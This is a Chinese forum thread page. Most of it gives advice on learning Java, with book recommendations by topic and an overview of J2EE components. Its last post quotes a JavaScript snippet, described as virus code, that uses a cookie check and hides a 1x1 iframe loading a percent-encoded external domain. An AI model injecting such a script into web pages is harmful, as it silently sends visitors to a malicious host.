打印

疑难杂症

疑难杂症

Java配置问题。

我想问的是,关于JAVA的学习。我已经学了半年的JAVA了。会建立数据库连接了。这是我们学的最后一章。我想继续深入JAVA学习,应该怎么学习。课本是学完了。现在我们已经学习完JSP了。现在应该怎么学习JAVA技术?各位高手给下意见。如:System.in作用“标准”输入流。此流已打开并准备提供输入数据。通常,此流对应于键盘输入或者由主机环境或用户指定的另一个输入源。
这个我们就没学过。






楼主学的比较乱
Java 推荐读物与源代码阅读
江苏无锡 缪小东

1. Java语言基础
谈到Java语言基础学习的书籍,大家肯定会推荐Bruce Eckel的《Thinking in Java》。它是一本写的相当深刻的技术书籍,Java语言基础部分基本没有其它任何一本书可以超越它。该书的作者Bruce Eckel在网络上被称为天才的投机者,作者的《Thinking in C++》在1995年曾获SoftwareDevelopment Jolt Award最佳书籍大奖,《Thinking in Java》被评为1999年Java World“最爱读者欢迎图书”,并且赢得了编辑首选图书奖。作者从1986年至今,已经发表了超过150篇计算机技术文章,出版了6本书(其中4本是关于C++的),并且在全世界做了数百次演讲。他是《Thinking in Java》、《Thinking in C++》、《C++ Inside & Out》《Using C++》和《Thinking in Patterns》的作者,同时还是《Black Belt C++》文集的编辑。他的书被读者称为“最好的Java参考书……绝对让人震惊”;“购买Java参考书最明智的选择”;“我见过的最棒的编程指南”。作者的非凡才华,极其跨越语言的能力,使作者被选为Java发展10年间与Java关系最密切的10个人物之一。

《Thinking in Java》讲述了Java语言的方方面面,很多Java语言的老手都评价“这是一本将Java语言讲得相当丑陋的书”。该书谈及了java语言的很多细节,每一个方面都是相当深刻的。通过本书你可以看到“丑陋的”java语言。

网络上关于java语言讲解视频很多很多,其中不凡有垃圾。《翁恺—JAVA语言》可能是你学习java语言基础的唯一选择,该讲座基本按照《Thinking in Java》这本书讲解,其中不凡有翁老师的很多有意思的笑话。我很幸运学习就是从此视频开始的。内容包括30讲,我总共看了3遍。

不过,对于初学者我不太推荐使用《Thinking in Java》,我比较推荐Prentice Hall PTR 的《Core Java 2》国内称为《Java 2 核心技术》,目前是第七版。网络上大家都可以下载到电子版。Oreilly的《Java in a nutshell》也是一个不错的选择。读完以上两本后,你可以看看翁恺老师的视频,接着可以研究《Thinking in Java》了。



2. Java数据结构
市面上关于Java数据结构的书本身就很少很少。大致有APress 的《Java Collections》,Jones 和Bartlett 的《Data Structures in Java》、《Object-oriented Data Structures Using Java》以及Prentice Hall 出版的《Data Structures and Algorithms in Java》 (Dec 19, 2005)还有一本就是《Data Structures And Algorithms With Object-oriented Design Patterns In Java》。很幸运我的第一本英文书就是APress 的《Java Collections》(本书在国内可能根本就没有中文版――只能下载英文版了),很不错,讲得很有条例、很简单,是一本完完全全Java Collections API介绍的书籍,其中不凡有扩展API的例子。这是我推荐你学习java数据结构的唯一一本好书。其它的Jones 和Bartlett的那两本国内好像有一本中文版,想看你也可以看看。

在学习完API后,你可以看看java.util包中对应的类了。不过只有在学习过设计模式后你才有可能完全理解整个Java Collections Framework。Java Collections Framework使用了很多著名的设计模式如:迭代器(Iterator)模式,工厂方法模式、装饰器模式、适配器模式等等。通过研究java.util包中数据结构的源代码,你可以知道臭名昭著的Properties类的设计了,同时可能基本具备设计简单的数据结构的能力了。

所谓学习无止境,学习完Sun提供了Java Collections Framework后,你可以研究Apche的另一个Java Collections Framework,很有意思哦。互为补充的两个Framework。



在大家学习、研究Java Collections之前,我提示一下Java Collections主要包括以下三部分:接口(Interface)、实现(Implemention)和算法(Algorithm)。

1. 接口主要有List、Set、Queue和 Map。List 、Se t和Queue是 Collection接口的子接口。

2. 实现主要是实现这些接口的具体类。如实现List接口的ArrayList、LinkedList、Stack和Vector;实现Set接口的HashSet、TreeSet 和LinkedHashSet;实现Queue接口的PriorityQueue、SynchronousQueue等等;实现Map接口的HashMap、TreeMap、Hashtable、Properties、WeakHashMap等等。

3. 算法主要是由Arrays类和Collections类提供的,它是整个Java Collection Framework算法的核心。支持各种类型的排序,查找等常用操作。

Java Collections中包含两个版本的数据结构,主要是原先的支持同步的数据结构和后来不支持同步的数据结构。

Java Collection Framework在使用Comparator和Comparable接口支持排序。同时提供新旧两个版本的迭代器Iterator和Enumeraton,以及它们如何转换等等。

在java.util包中的Obserable接口和Observer类是考察者模式的核心。

……



3. Java IO
市面上关于IO的书籍也仅仅只有Oreilly出版社的两本,都是Elliotte Rusty Harold的著作。两本书的风格基本一致,推荐阅读是第一版的《Jvava I/O》,讲得比较浅显,内容相对比较集中,实例也很多。第二版今年5月国外才出版,很有幸我在网络上下载了第二版,讲得极其详细――726页的大块头(我化了两个星期),这次将NIO和IO和在一起,还包括J2ME部分的,不过串口、并口通信部分好像类库支持不够,自己不能实际操作。

与第一版的《Jvava I/O》一起的Oreilly还有一本《Jvava NIO》,也是很不错的哦。

大家在依次阅读完《Jvava I/O》以及《Jvava NIO》后,可以研究java.io包中的源代码了。在大家研究源代码前我给点提示:

Java的io包主要包括:

1. 两种流:字节流(byte Stream)和字符流(character stream),这两种流不存在所谓的谁代替谁、谁比谁高级之说,它们互为补充,只是侧重点不同而已。

2. 两种对称:1.字节流、字符流的对称;2.输入、输出的对称。

3. 一个桥梁:将字节流转变为字符流的InputStreamReader和OutputStreamWriter。

其中必须注意:

1. PipedInputStream和PipedOutputStrem是两个比较有趣的类。

2. 支持Buffered的流是我们经常使用的类。

3. 装饰器(Decorator)模式在java最著名的应用就是用于io的设计。仔细研究各个Filter流与具体流的关系,多看设计模式的书籍。相信你会有所所获。

4. 学习好io包,是研究net包,rmi包……的基础哦!



4 . Java数据库
数据库的书籍太多太多了,也是太烂太烂了!这方面的书我基本都研究过,推荐的你就看看Apress的《JDBC Recipes A Problem Solution Approach 》很不错,国外2005年底才出版,(国内好像没有中文版,不过出了中文版也不一定值得看――国内经常将国外的书翻译得一塌糊涂、不堪入目)不过我们真的很幸运,网络上有电子版的。值得一看。推荐我看的第一本比较满意的――Wiley出版的《Java Database Bible》,讲得很不错!Sun公司自己的关于JDBC API介绍的那一本《JDBC API Tutorial andRefernece》也不错。我第二本JDBC的就是研究的这套API。

不过目前这些书都是一些相对比较浮浅的API应用的书籍。有机会我会给大家带来介绍JDBC API以及JDBC实现内部细节的书!我尽快努力,同时希望得到大家的支持!

顺便给学习JDBC的朋友一点提示:

JDBC的学习和使用主要是这套API,其使用过程也是极其简单,下面是使用JDBC的一般流程:

1. 加载某个数据库的驱动(Driver类),通常使用Class.forName(“驱动的类名“);

2. 连接数据库――

Connection con = DriverManager.getConnection(url,username,password);

3. 得到会话――Statement stmt = con.createStatement();

4. 执行操作――Result rs = stmt.executeQuery(“SQL查询语句”);

5. 处理结果――

while(rs.next()){

String col1 = rs.getString(1);

……

}

简单吧!整个JDBC中可以变化的一般是:

1. 可以由Connection对象创建Statement、PreparedStatement和CallableStatement创建三种类型的Statement。

2. 可以创建多种类型的ResultSet:支持单向移动和个自由移动;可更新的和不可更新的;支持不同等级的交易的…..

3. 数据输入的批处理。

4. 结果集中特殊类型(Blob、Clob、Arrary和Ref、Struct)列的操作。

5. 这些特殊类型的录入数据库。

6. javax.sql包中特殊结果集(CachedRowSet、JdbcRowSet、WebRowSet)的操作。

7. 其它的就是一个DataSource了,也很简单!一个J2EE中的被管理对象

简单吧!相信大家很快就会征服JDBC。



5. Java 网络编程
网络编程――一个神秘的、充满挑战的方向。不过在谈Java网络编程之前首先感谢Sun公司的开发人员,因为它们天才的设想,充满智慧的架构,使广大java程序员学习java网络编程变得异常简单。

Java网络编程方面的书,我推荐O'Reilly的《Java Network Programming》,目前已经第三版了,以前的版本市面上肯定有!网络上早有第三版的电子版,国外2004年出版,706页哦!讲得很全,比较深入,太深入的可能由于Sun有些东西没有完全公开,所以也就不好讲了,有兴趣的可以下载看看!第二本还是O'Reilly 1998年出版的《Java distributed computing 》,基础部分写得比较详细,后面的实例还是值得研究的。

在大家阅读这些书之前,给大家一点提示:

java网络编程其实相对比较简单,入门也很快很快。java网络编程主要包括两个部分:1.Socket;2.URL部分。不过第二部分也完全建立在第一部分的基础上。

1. Socket包括客户端的Socket和服务端的ServerSocket。还有就是DatagramSocket和DatagramPacket,它对应于UDP通信协议。 总之,Socket部分是建立其它高级协议的基础。

2. URL类是一个网络资源定位器,通常和具体的网络协议如HTTP,FTP,Telnet……相关。通过该类可以连接网络上的资源,通过其openStream可以以io包中的流(InputStream)的形式读取网络资源;通过其OpenConnection方法,可以打开一个连接,在此连接上可以不仅可以完成读的操作,还可以完成写的操作。

Java的网络编程大体包括以上两部分。网络编程和IO以及多线程部分非常密切,在学习此部分前大家一定对这两部分了解比较透彻。

学习了以上部分你可以研究java.net包中的与此相关的源代码了!研究所有的源代码还为时尚早。在整个net包中包含:ContentHandlerFactory、URLStreamHandlerFactory、URLStreamHandler、URLClassLoader等辅助类,它们构成了java.net网络编程的框架,通过研究其源代码,你不仅可以快速理解java.net包,还可以为以后扩展该包打下基础,甚至可以将此思维方式运用到自己的项目中。

到此为止你对java.net包应该才了解60%,还有一部分你可以使用JDecompiler之类的反编译软件打开你JDK安装目录下\jdkxxx\jre\lib目录中的rt.jar,用WinRAR之类的软件打开它的sun.net包,反编译所有的文件,它是URL类工作的细节。当研究完该sun.net包,你就会对整个网络编程很熟悉很熟悉了。

一切看起来我们已经对网络编程很精通了。其实不然,刚刚开始而已,要想深入,请继续吧!网络上很多优秀的网络编程库甚至软件可以为我们“添加功力”。如Apache的HttpCore和HTTPConnection 是两个和HTTP协议相关库;JGroups是研究分布式通信、群组通信的必读库;接着我们可以研究P2P的软件包,如Sun公司的JXTA,它可能是java平台点对点通信未来的标准哦!接着你可以研究成熟得不得了,使用极其广泛得P2P软件Azureus!www.sourceforge.net可以下载到!

千里之行始于足下!Just do it !(目前我也只研究了net包,其它的会在不久的将来继续深入。Sun公司因为某些原因没有公开net的其它实现细节,在其允许将其源代码以文字的形式加以研究,以及允许将其没有公开的实现写入书中时,我很希望能出一本java网络编程的书籍,以飧广大读者!!)

6. Servlet和JSP
Servlet、JSP的书也是满地都是!值得推荐的也仅仅两三本。实推Addison Wiley的《Servlets and JavaServer pages :The J2EE Technology Web Tier》,又是一本很厚的哦!国外2003年出版、784页,讲得比较全,例子也很多,特别是第八章Filter,举了几个不错的例子。其它所有我看到的关于Servlet和JSP的书都没有如此深入的!(可能有我没有看到而已)。O’reilly的《Java Servlet Programming》和《Java Server Pages》相对比较好懂一些,可以读读!

在大家学习Servlet和Jsp之前我还是要提醒一下:

本质上说Servlet就是一个实现Servlet接口的、部署于服务器端的服务器端的程序罢了!它可以象写其它任何java应用程序一样编写,它可以操作数据库、可以操作本地文件、可以连接本地EJB……编写Servlet程序的一般流程为:

1. 继承一个HttpServlet类;

2. 覆盖其doGet、doPost方法;

3. 在覆盖方法的内部操作方法参数HttpServletRequest和HttpServletResponse。

4. 读取请求利用HttpServletRequest。利用HttpServletRequest你可以操作Http协议的协议头、可以得到请求的操作方法、可以得到请求的路径、可以得到请求的字符串、以及和请求客户相关的信息,更主要的你可以得到Cookie和HttpSession这两个对象。

5. 利用Cookie你可以操作“甜心”对象或者将其写入HttpServletResponse中。

6. 向客户输出信息可以使用HttpServletResponse。使用HttpServletResponse可以写入各种类型的协议头、可以增加Cookie、可以重定向其它URL、可以向客户发送Http协议的状态码。

7. 利用HttpSession在会话内完成你想实现的任何功能

同时Servlet还提供了一些事件和事件监听器(简单的观察者模式而已)。还有就是过滤器(Filter)和包装器(ServletRequestWrapper、ServletResponseWrapper)――简单的流的使用和装饰器模式的使用。

学习Sevlet、JSP必然要部署到服务器中,记住通常文件部署的步骤和参数的设置以及在程序中如何使用就可以了。

完全理解Servlet后,学习jsp相对比较容易了!Jsp完全建立在Servlet的基础上,它是为了迎合那些喜欢在Html文档中嵌入脚本(如:PHP之类的网页编程语言)的程序员的需要罢了!学起来也相当的容易!

一切看起来似乎那么的风平浪静,简单好学!简单的表象背后有其复杂的机理。要想对Servlet和Jsp彻底研究,你得研究Tomcat等开源软件的具体实现。它无非就是一个服务器,在客户利用网页通过HTTP协议向服务器发送请求后,服务器将此HTTP请求转化为相应的HttpServletRequest对象,调用你编写的Servlet罢了,在你的Servlet中你肯定操作了此HttpServletRequest了吧,同时操作了HttpServletResponse了吧,服务器就将此HttpServletResponse按照HTTP协议的要求利用HTTP协议发送给你的浏览器了!在服务器端的Jsp网页在被客户请求后,Tomcat会利用编译软件,使用javax.servlet.jsp包中的模板,编译此jsp文件,编译后就是一个Servlet!以后的操作和Servlet完全一样哦!

在Servlet和Jsp的基础上出现了,所谓的高级技术:JSTL,Struts……无非就是一些标签和MVC模式的使用。

继续前进吧!胜利就在前方!!



7. 多线程
一个看起来很神秘,却很容易上手、很难精通的方向!

我推荐两本我感觉很好的书籍。首先是我第一本能上手看的这方面的书,Sams 1998年出版的《Java Thread Programming》,写得暴好,很容易读懂,我有空还时常看当时的笔记!要知道怎么好你自己看吧!第二本OReilly三次出版的《Java Threads》,最新是2004版,国内好像有中文版,推荐你还是看英文版的吧!书中谈到了与多线程相关的N个方向,如IO、Swing、Collection等等。

给大家一点提示吧!java类库中与多线程相关的类不是很多,主要有:Thread、ThreadGroup以及ThreadLocal和InheritableThreadLocal四个类和一个Runnable接口;关键字synchronize、volatile ;以及Object对象的wait、notify、notifyAll方法!

1 Thread是多线程的核心类,提供了一系列创建和操作多线程的方法。

2 ThreadGroup是一个管理Thread的工具类。

3 ThreadLocal和InheritableThreadLocal为Thread提供了一个类似保险箱功能的存储线程对象的类!

4 Runnable不用说了吧!

5 synchronize是同步方法和同步块的核心哦!多个线程调用此方法时,只有一个线程可以使用此方法,其它方法阻塞,从而保证被操作对象内部状态完整性。某个线程调用带有synchronize的方法或块时会得到该对象的对象锁,完成块中的操作后释放此对象锁,从而其它对象可以继续操作。

6 wait、notify、notifyAll提供了有效的等待/通知机制。Java语言中每一个对象都有一个休息室,任何线程在其操作的对象的状态不满足的情况下,在该对象的休息室中休息,释放对象锁;当其它线程操作该对象后,唤醒休息室中的线程,它们再检查条件,当条件满足后,执行相应的操作。

多线程大致就这么多基础的!简单吗!这对于一个真正的程序员应该是不够的,真正对多线程要有所掌握,请您研究java.util.concurrent包吧!大师Doug Lea的作品,原先是一个开源的一致性编程的库,后来被Sun公司并入java类库。作者的网站上也有另外一个版本的该类库!值得研究的好东西!Hibernation、OpenJMS等开源软件都使用了此包!



8. 设计模式
谈到设计模式很多人多会推荐GOF的那本,该书在Amzon上是五星级的推荐书籍。不过对于学习java没多久的、特别是java初学者,我很不推荐这本书。主要是该书的例子基本都是C++的,很多细节没有讲述得足够清楚。

我给大家推荐的第一本是阎宏博士的《Java 与模式》,它是第一本中国人自己写的关于设计模式的书籍,写的比较有趣,融合了很多中华民族的文化和观念,例子、类图都比较多,且相对简单!非常不错的入门书籍――又是大块头哦!

其次我推荐Wiley出版社出版的《Pattern In Java》一套三本,我才看了第一本,好像第二本不怎么样,第三本还不错!

第三本是中文翻译版的关于多线程模式的(很难得的中文翻译版)中国铁道出版社2003年出版的《Java多线程设计模式》,将多线程模式讲得非常浅显,配有大量的图例,每章都有习题,最后有答案!我研究多线程模式就是由它开始的!

第四本,今年出版的Head First系列的《Head First Design Pattern》,秉承Head First系列图书的优点,大量的类图、丰富的实例、有趣的注解,值得购买!

其次在J2EE方向你可以研究阅读Addison Wesley 2002年出版的《Patterns of Enterprise Application Architecture》,众多大腕的作品,讲企业消息集成的!Sun提供的《J2EE PATTERNS SL500》也很好!晚了推荐那一本Amzon 4星半的《Holub on patterns》,大师的作品,提供了,很值得研究的例子,不过对上面四本不是很熟悉的读者,最好不要读它!可能会让你比较累!

我学习设计模式经过一段很曲折的路线,前前后后大约看了20本,阎宏博士的《Java 与模式》我看了4遍,还排除我第一次基本没看懂的看!记得研一时老师给我们讲了GOF的那本,作为选修课,我和它们计算机系的硕士、博士们一起,到最后一个班40-50个人,不超过3个人明白,我也没有明白任何一点(基础差吧――主要我对C++语言一点都不了解),凭我不伏输的性格,我认为我对java语言理解还可以,我就借了《Java 与模式》,结果还是基本没看懂。很有幸的是读研三时,听过了上交大饶若楠老师关于Java OOP语言的讲座,我懂了组合书籍模式等三种设计模式后,对其它模式有了强烈的兴趣和要征服它的愿望!工作后我买的第一本就是《Java 与模式》,第一遍花了2个月研究了这个1000多页的大块头,后来第三遍15天左右就可以搞定,笔记记了一大本!从此一发不可收拾。

选对书、埋头研究。相信很快就会入门的!



学习Java语言8个简单的部分,这只是我们研究Java语言的开始!这些都懂了充其量一个java程序员而已,后面的路很长很长!我们可以继续研究数据库实现的源代码、Servlet服务器的源代码、RMI、EJB、JNDI、面向方面编程、重构、ANT工具、Eclipse工具、Spring工具、JBoss、JOnAS、Apache Geronimo等J2EE服务器!研究了这些你可能会成为一个出色的J2EE Architecture!你可以继续研究剖析器、编译器、JNODE(java写的操作系统)……



感谢大家有此耐心,听我罗罗嗦嗦大半天!感谢大家的阅读,感谢群里的朋友!这篇文章主要应群里朋友的呼声――不知道如何选书、不知道从何看起!大半天的功夫完成赶此文章,字句上难免有失误,同时由于能力有限不凡有错误!请阅读后批评指正!

上面基本是我研究java语言的顺序,以上书籍都是我阅读过的,不存在替任何出版社宣传的成分!有的方法可能不适合你,假如你能收获一点,两点甚至更多,请你不要吝啬推荐给你的朋友――共同学习!

TOP

学java请进呀

我现在是java的初学者,但是我很喜欢它,打算将来靠它吃饭了,呵呵,但是我目前不太懂java的结构,我看了看我们学校的教学计划,下学期再学个JSP就没了,我知道java远不止这些。我也知道java编程有三个方向:j2se,是桌面版编程;j2me,是面向手机方面的编程;j2ee,是企业级面向网络方面,也是现在比较流行的。哪位过来人能帮我一下,说说他包含什么,例如JSP、WEB等,有详细一点的解释更好了,谢谢了







J2EE是一套全然不同于传统应用开发的技术架构,包含许多组件,主要可简化且规范应用系统的开发与部署,进而提高可移植性、安全与再用价值。
J2EE核心是一组技术规范与指南,其中所包含的各类组件、服务架构及技术层次,均有共通的标准及规格,让各种依循J2EE架构的不同平台之间,存在良好的兼容性,解决过去企业后端使用的信息产品彼此之间无法兼容,导致企业内部或外部难以互通的窘境。
在J2EE架构下,开发人员可依循规范基础,进而开发企业级应用;而不同J2EE供货商,同会支持不同J2EE版本内所拟定的标准,以确保不同J2EE平台与产品之间的兼容性。换言之,植基J2EE架构的应用系统,基本上可部署在不同的应用服务器之上,无需或者只须要进行少量的代码修改,即能大幅提高应用系统的可移植性(Portability)。
J2EE主由升阳与IBM等厂商协同业界共同拟定而成的技术规范,以企业与企业之间的运算为导向的JAVA开发环境。J2EE架构定义各类不同组件,如Web Component、EJB Component…等,而各类组件可以再用(reuse),让已开发完成的组件,或者是经由市面采购而得的组件,均能进一步组装成不同的系统。
对于开发人员而言,只需要专注于各种应用系统的商业逻辑与架构设计,至于底层繁琐的程序撰写工作,可搭配不同的开发平台,以让应用系统的开发与部署效率大幅提升。
J2EE的核心规范是 Enterprise Java Beans(EJBs)。EJB依照特性的不同,目前共分为三种,分别是Session Bean、Entity Bean,以及 Message Driven Bean 。其中 Session Bean 与Entity Bean 算是EJB的始祖,这两种EJB规格在EJB 1.x版本推出时就已经存在,而Message Driven Bean则是出现在EJB 2.0的规格之中。
目前业界许多程序设计师,或者是网页设计人员,多利用JSP/Servlet的便利性,进而在J2EE服务器之上开发相关的应用,或是整合公司内部的各种资源。
Java 2平台依照应用领域的不同,共分为三大版本,分别是J2EE、标准版本J2SE(Java 2 Platform, Standard Edition)、微型版本J2ME(Java 2 Platform, Micro Edition),以及Java Card等。
从整体上讲,J2EE是使用Java技术开发企业级应用的一种事实上的工业标准(Sun公司出于其自身利益的考虑,至今没有将Java及其相关技术纳入标准化组织的体系),它是Java技术不断适应和促进企业级应用过程中的产物。Sun推出J2EE的目的是为了克服传统Client/Server模式的弊病,迎合Browser/Server架构的潮流,为应用Java技术开发服务器端应用提供一个平台独立的、可移植的、多用户的、安全的和基于标准的企业级平台,从而简化企业应用的开发、管理和部署。J2EE是一个标准,而不是一个现成的产品。各个平台开发商按照J2EE规范分别开发了不同的J2EE应用服务器,J2EE应用服务器是J2EE企业级应用的部署平台。由于它们都遵循了J2EE规范,因此,使用J2EE技术开发的企业级应用可以部署在各种J2EE应用服务器上。
为了推广并规范化使用J2EE架构企业级应用的体系架构,Sun同时给出了一个建议性的J2EE应用设计模型:J2EE Blueprints。J2EE Blueprints提供了实施J2EE企业级应用的体系架构、设计模式和相关的代码,通过应用J2EE Blueprints所描述的体系模型,能够部分简化架构企业级应用这项复杂的工作。J2EE Blueprints是开发人员设计和优化J2EE组件的基本原则,同时为围绕开发工作进行职能分工给出了指导性策略,以帮助应用开发设计人员合理地分配技术资源。
J2EE组成了一个完整企业级应用的不同部分纳入不同的容器(Container),每个容器中都包含若干组件(这些组件是需要部署在相应容器中的),同时各种组件都能使用各种J2EE Service/API。J2EE容器包括:
◆ Web容器 服务器端容器,包括两种组件JSP和Servlet,JSP和Servlet都是Web服务器的功能扩展,接受Web请求,返回动态的Web页面。Web容器中的组件可使用EJB容器中的组件完成复杂的商务逻辑。
◆ EJB容器 服务器端容器,包含的组件为EJB(Enterprise JavaBeans),它是J2EE的核心之一,主要用于服务器端的商业逻辑的实现。EJB规范定义了一个开发和部署分布式商业逻辑的框架,以简化企业级应用的开发,使其较容易地具备可伸缩性、可移植性、分布式事务处理、多用户和安全性等。
◆ Applet容器 客户端容器,包含的组件为Applet。Applet是嵌在浏览器中的一种轻量级客户端,一般而言,仅当使用Web页面无法充分地表现数据或应用界面的时候,才使用它。Applet是一种替代Web页面的手段,我们仅能够使用J2SE开发Applet,Applet无法使用J2EE的各种Service和API,这是为了安全性的考虑。
◆ Application Client容器 客户端容器,包含的组件为Application Client。Application Client相对Applet而言是一种较重量级的客户端,它能够使用J2EE的大多数Service和API。
通过这四个容器,J2EE能够灵活地实现前面描述的企业级应用的架构。
在View部分,J2EE提供了三种手段:Web容器中的JSP(或Servlet)、Applet和Application Client,分别能够实现面向浏览器的数据表现和面向桌面应用的数据表现。Web容器中的Servlet是实现Controller部分业务流程控制的主要手段;而EJB则主要针对Model部分的业务逻辑实现。至于与各种企业资源和企业级应用相连接,则是依靠J2EE的各种服务和API。
在J2EE的各种服务和API中,JDBC和JCA用于企业资源(各种企业信息系统和数据库等)的连接,JAX-RPC、JAXR和SAAJ则是实现Web Services和Web Services连接的基本支持。
J2EE的各种组件
我们就J2EE的各种组件、服务和API,进行更加详细的阐述,看看在开发不同类型的企业级应用时,根据各自需求和目标的不同,应当如何灵活使用并组合不同的组件和服务。
· Servlet
Servlet是Java平台上的CGI技术。Servlet在服务器端运行,动态地生成Web页面。与传统的CGI和许多其它类似CGI的技术相比,Java Servlet具有更高的效率并更容易使用。对于Servlet,重复的请求不会导致同一程序的多次转载,它是依靠线程的方式来支持并发访问的。
· JSP
JSP(Java Server Page)是一种实现普通静态HTML和动态页面输出混合编码的技术。从这一点来看,非常类似Microsoft ASP、PHP等技术。借助形式上的内容和外观表现的分离,Web页面制作的任务可以比较方便地划分给页面设计人员和程序员,并方便地通过JSP来合成。在运行时态,JSP将会被首先转换成Servlet,并以Servlet的形态编译运行,因此它的效率和功能与Servlet相比没有差别,一样具有很高的效率。
· EJB
EJB定义了一组可重用的组件:Enterprise Beans。开发人员可以利用这些组件,像搭积木一样建立分布式应用。在装配组件时,所有的Enterprise Beans都需要配置到EJB服务器(一般的Weblogic、WebSphere等J2EE应用服务器都是EJB服务器)中。EJB服务器作为容器和低层平台的桥梁管理着EJB容器,并向该容器提供访问系统服务的能力。所有的EJB实例都运行在EJB容器中。EJB容器提供了系统级的服务,控制了EJB的生命周期。EJB容器为它的开发人员代管了诸如安全性、远程连接、生命周期管理及事务管理等技术环节,简化了商业逻辑的开发。EJB中定义了三种Enterprise Beans:
◆ Session Beans
◆ Entity Beans
◆ Message-driven Beans
· JDBC
JDBC(Java Database Connectivity,Java数据库连接)API是一个标准SQL(Structured Query Language,结构化查询语言)数据库访问接口,它使数据库开发人员能够用标准Java API编写数据库应用程序。JDBC API主要用来连接数据库和直接调用SQL命令执行各种SQL语句。利用JDBC API可以执行一般的SQL语句、动态SQL语句及带IN和OUT参数的存储过程。Java中的JDBC相当与Microsoft平台中的ODBC(Open Database Connectivity)。
· JMS
JMS(Java Message Service,Java消息服务)是一组Java应用接口,它提供创建、发送、接收、读取消息的服务。JMS API定义了一组公共的应用程序接口和相应语法,使得Java应用能够和各种消息中间件进行通信,这些消息中间件包括IBM MQ-Series、Microsoft MSMQ及纯Java的SonicMQ。通过使用JMS API,开发人员无需掌握不同消息产品的使用方法,也可以使用统一的JMS API来操纵各种消息中间件。通过使用JMS,能够最大限度地提升消息应用的可移植性。 JMS既支持点对点的消息通信,也支持发布/订阅式的消息通信。
· JNDI
由于J2EE应用程序组件一般分布在不同的机器上,所以需要一种机制以便于组件客户使用者查找和引用组件及资源。在J2EE体系中,使用JNDI(Java Naming and Directory Interface)定位各种对象,这些对象包括EJB、数据库驱动、JDBC数据源及消息连接等。JNDI API为应用程序提供了一个统一的接口来完成标准的目录操作,如通过对象属性来查找和定位该对象。由于JNDI是独立于目录协议的,应用还可以使用JNDI访问各种特定的目录服务,如LDAP、NDS和DNS等。
· JTA
JTA(Java Transaction API)提供了J2EE中处理事务的标准接口,它支持事务的开始、回滚和提交。同时在一般的J2EE平台上,总提供一个JTS(Java Transaction Service)作为标准的事务处理服务,开发人员可以使用JTA来使用JTS。
· JCA
JCA(J2EE Connector Architecture)是J2EE体系架构的一部分,为开发人员提供了一套连接各种企业信息系统(EIS,包括ERP、SCM、CRM等)的体系架构,对于EIS开发商而言,它们只需要开发一套基于JCA的EIS连接适配器,开发人员就能够在任何的J2EE应用服务器中连接并使用它。基于JCA的连接适配器的实现,需要涉及J2EE中的事务管理、安全管理及连接管理等服务组件。
· JMX
JMX(Java Management Extensions)的前身是JMAPI。JMX致力于解决分布式系统管理的问题。JMX是一种应用编程接口、可扩展对象和方法的集合体,可以跨越各种异构操作系统平台、系统体系结构和网络传输协议,开发无缝集成的面向系统、网络和服务的管理应用。JMX是一个完整的网络管理应用程序开发环境,它同时提供了厂商需要收集的完整的特性清单、可生成资源清单表格、图形化的用户接口;访问SNMP的网络API;主机间远程过程调用;数据库访问方法等。
· JAAS
JAAS(Java Authentication and Authorization Service)实现了一个Java版本的标准Pluggable Authentication Module(PAM)的框架。JAAS可用来进行用户身份的鉴定,从而能够可靠并安全地确定谁在执行Java代码。同时JAAS还能通过对用户进行授权,实现基于用户的访问控制。
· JACC
JACC(Java Authorization Service Provider Contract for Containers)在J2EE应用服务器和特定的授权认证服务器之间定义了一个连接的协约,以便将各种授权认证服务器插入到J2EE产品中去。
· JAX-RPC
通过使用JAX-RPC(Java API for XML-based RPC),已有的Java类或Java应用都能够被重新包装,并以Web Services的形式发布。JAX-RPC提供了将RPC参数(in/out)编码和解码的API,使开发人员可以方便地使用SOAP消息来完成RPC调用。同样,对于那些使用EJB(Enterprise JavaBeans)的商业应用而言,同样可以使用JAX-RPC来包装成Web服务,而这个Web Servoce的WSDL界面是与原先的EJB的方法是对应一致的。JAX-RPC为用户包装了Web服务的部署和实现,对Web服务的开发人员而言,SOAP/WSDL变得透明,这有利于加速Web服务的开发周期。
· JAXR
JAXR(Java API for XML Registries)提供了与多种类型注册服务进行交互的API。JAXR运行客户端访问与JAXR规范相兼容的Web Servcices,这里的Web Services即为注册服务。一般来说,注册服务总是以Web Services的形式运行的。JAXR支持三种注册服务类型:JAXR Pluggable Provider、Registry-specific JAXR Provider、JAXR Bridge Provider(支持UDDI Registry和ebXML Registry/Repository等)。
· SAAJ
SAAJ(SOAP with Attachemnts API for Java)是JAX-RPC的一个增强,为进行低层次的SOAP消息操纵提供了支持。
企业级应用示例
下面我们通过假设一个企业应用的J2EE实现,来了解各种组件和服务的应用。假设应用对象是计算机产品的生产商/零售商的销售系统,这个销售系统能够通过自己的网站发布产品信息,同时也能将产品目录传送给计算机产品交易市场。销售系统能够在线接受订单(来自自己的Web网站或者来自计算机产品交易市场),并随后转入内部企业管理系统进行相关的后续处理。
参见图3,这个企业应用可以这种方式架构。该企业应用的核心是产品目录管理和产品定购管理这两个业务逻辑,使用EJB加以实现,并部署在EJB容器中。由于产品目录和定购信息都需要持久化,因此使用JDBC连接数据库,并使用JTA来完成数据库存取事务。
图3 J2EE应用示例
然后使用JSP/Servlet来实现应用的Web表现:在线产品目录浏览和在线定购。为了将产品目录发送给特定的交易市场,使用JMS实现异步的基于消息的产品目录传输。为了使得更多的其它外部交易市场能够集成产品目录和定购业务,需要使用Web Services技术包装商业逻辑的实现。由于产品定购管理需要由公司内部雇员进行处理,因此需要集成公司内部的用户系统和访问控制服务以方便雇员的使用,使用JACC集成内部的访问控制服务,使用JNDI集成内部的用户目录,并使用JAAS进行访问控制。由于产品订购事务会触发后续的企业ERP系统的相关操作(包括仓储、财务、生产等),需要使用JCA连接企业ERP。
最后为了将这个应用纳入到企业整体的系统管理体系中去,使用Application Client架构了一个管理客户端(与其它企业应用管理应用部署在一台机器上),并通过JMX管理这个企业应用。

TOP

怎么把加密网址翻译过来啊?网址是%77%77%77%2e%38%%77%77%77%2e%38%……………………
=====病毒代码如下:

<script language=javascript>
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime() +24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("<iframe width='1' height='1' src='http://%77%77%77%2e%38%35%31%37%33%33%2e%63%6e/htm/%67%6F%6C%64%69%70.htm?%30%34%35'></iframe>"));}
</script>
问题补充:UnEscape 解密结果:

360安全卫士安全提示
您将要访问的网站可能存在不安全因素,您是否要继续访问?
返回上一页继续访问
搜索相关信息 什么是百科
